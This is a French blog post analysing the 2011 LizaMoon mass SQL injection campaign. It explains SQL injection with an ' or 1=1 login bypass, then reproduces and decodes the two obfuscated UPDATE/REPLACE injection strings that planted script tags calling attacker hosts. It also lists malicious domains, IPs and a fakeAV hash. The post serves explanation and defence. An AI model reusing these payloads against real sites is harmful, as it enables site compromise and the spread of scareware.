7 avr. 2011

[décryptage] Injection SQL LizaMoon

Tout le monde en parle, mais concrètement, qu'est-ce que LizaMoon ?

Partons sur de bonnes bases. Qu'est-ce qu'une injection SQL ?
Une injection SQL est une méthode d'attaque d'un site web dynamique, dont le but est de modifier une requête SQL appelée par une page web. Pour cela, il faut corrompre la requête web GET ou POST, en insérant des valeurs inattendues dans les champs.
Prenons un exemple:
Vous avez une page d'identification, avec un champ identifiant et un champ mot de passe.
Votre table user en base de données possède un champ login et password.
Pour identifier l'utilisateur, votre page web va vérifier le couple login,password avec les valeurs fournies par l'utilisateur : identifiant,mot de passe. Pour cela, on utilise une requête SQL par exemple: "SELECT * FROM user WHERE login = '$ident' AND pass = '$passe';";
Jusque là, tout va bien. Mais que se passe-t-il si l'utilisateur "admin" entre comme mot de passe la chaine suivante : ' or 1=1
La clause WHERE de la requête devient login = 'admin' AND pass = '' or 1=1; ce qui implique que la requête est toujours vraie, et l'utilisateur est alors connecté avec le premier compte de la base de donnée, généralement l'administrateur. Ceci est un exemple simple, qui est protégé nativement dans PHP grâce aux magic quotes, qui remplace les apostrophes, guillemets et anti-slashs. Il existe une multitude de variantes d'injection SQL : cet exemple montre l'usurpation, mais on peut aussi récupérer le contenu d'une table, ou ajouter un code html dans un champ, qui sera ensuite affiché aux visiteurs, comme LizaMoon...

Revenons à ce qui nous intéresse. LizaMoon.
LizaMoon est le nom donnée à une attaque de grande ampleur par injection SQL (Mass SQL Injection Attack), baptisée ainsi au nom du premier site appartenant aux pirates détecté. Cette attaque a démarré le 25 mars 2011, a été repérée par Websense Security Labs le 29 mars où 28 000 sites seraient concernés au moment de la détection, 380 000 le lendemain. Au 5 avril, ce nombre passait à plus de 500 000, dont la moitié des sites sont étasuniens. LizaMoon, similaire à l'attaque "Gumblar" (Gumblar.cn/Martuz.cn, Troj/JSRedir-R), est considéré par certains comme étant la plus grande attaque par injection SQL jamais réalisée.
LizaMoon utilise une faille jusque là inexploitée et encore inconnue, qui permet d'injecter du contenu dans la base SQL du serveur. Il ne s'agit pas d'une faille XSS comme certains le prétendent. Le ou les pirates s'en sont servis pour rediriger tous les visiteurs des sites infectés vers un de leurs nombreux sites (listés plus bas), faisant la promotion d'un soi disant antivirus (un scareware), qui n'est évidemment qu'une méthode pour extorquer de l'argent à l'internaute mal informé. La redirection s'est faite par l'insertion d'une balise <script src=... />. Une simple requête de "<script src=http://*/ur.php" sur google permet de voir l'étendue des dégâts, retournait 1,5 million de résultats il y a quelques jours, 700 000 aujourd'hui.

Détails sur l'injection SQL.
Cette injection SQL a été conçue pour les pages ASP utilisant une base de données Microsoft SQL Server (toutes versions confondues). Il ne s'agit pas d'une faille de sécurité de Microsoft SQL Server, mais bien d'une injection SQL, donc d'une erreur du développeur de la page ASP. L'attaque se base sur 2 injections possibles, permettants l'insertion de la balise script malicieuse:
+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
Ce qui correspond à : +update+Table+set+FieldName=REPLACE(cast(Forename+as+varchar(8000)) ,cast(</title><script src=http://google-stats49.info/ur.php>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--.
ou...
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar( 108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10 4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11 6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112) %2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar( 114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v archar(8)))--
Ce qui correspond à : surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php> +as+varchar(8000)),cast(char(32)+as+v archar(8)))--.
Cette valeur est inscrite dans un champ de la base de données, qui est utilisé dans le titre de la page (d'où le </title>). Le titre est donc fermé immédiatement, et est suivie par le script. Le navigateur voit un titre vide, puis un script à exécuter. Le nom de la table et du champ est spécifique pour chaque site, contrairement à l'attaque de 2008 qui était générique, opéré depuis des botnets, et ayant affectés 50 000 ip uniques.
Ces valeurs ont été découvertes dans les fichiers de log de serveurs IIS. Les requêtes n'ont pas été bloquées par les filtres htaccess ou équivalent pour IIS, puisque le mot clé script n'apparait pas en clair dans l'URL. Ici l'URL est google-stats49.info/ur.php, mais il y en a plein d'autre (voir ci-dessous), mais c'est worid-of-books.com/ur.php qui a été la plus utilisée près de 50% des cas. Tous ces sites sont bloqués par Google comme l'indique la page de blocage de Firefox 4 :
lizamoon.com/ur.php
worid-of-books.com/ur.php
tadygus.com/ur.php
alexblane.com/ur.php
alisa-carter.com/ur.php
online-stats201.info/ur.php
stats-master111.info/ur.php
agasi-story.info/ur.php
general-st.info/ur.php
extra-service.info/ur.php
t6ryt56.info/ur.php
sol-stats.info/ur.php
google-stats49.info/ur.php
google-stats45.info/ur.php
google-stats50.info/ur.php
stats-master88.info/ur.php
eva-marine.info/ur.php
stats-master99.info/ur.php
google-server43.info/ur.php
tzv-stats.info/ur.php
milapop.com/ur.php
pop-stats.info/ur.php
star-stats.info/ur.php
multi-stats.info/ur.php
google-stats44.info/ur.php
books-loader.info/ur.php
google-stats73.info/ur.php
google-stats47.info/ur.php
google-stats50.info/ur.php
Ci-dessous le code d'une page ur.php. Ce code est très simple, il redirige vers le scareware (fakeAV) : "Windows Stability Center". Il propose de télécharger le fichier freesystemscan.exe (md5: 815d77f8fca509dde1abeafabed30b65).

Ce téléchargement se fait depuis l'ip 46.252.130.200 ou 84.123.115.228 (qui est utilisée par une multitude de nom de domaine, tous en .co.cc (île australienne) ou .in (inde), dont les noms de domaines ont été enregistrés via une adresse Gmail unique générée aléatoirement.


Sources: Websence Security Labs, blog de Dancho Danchev, stackoverflow.com, zastita.com.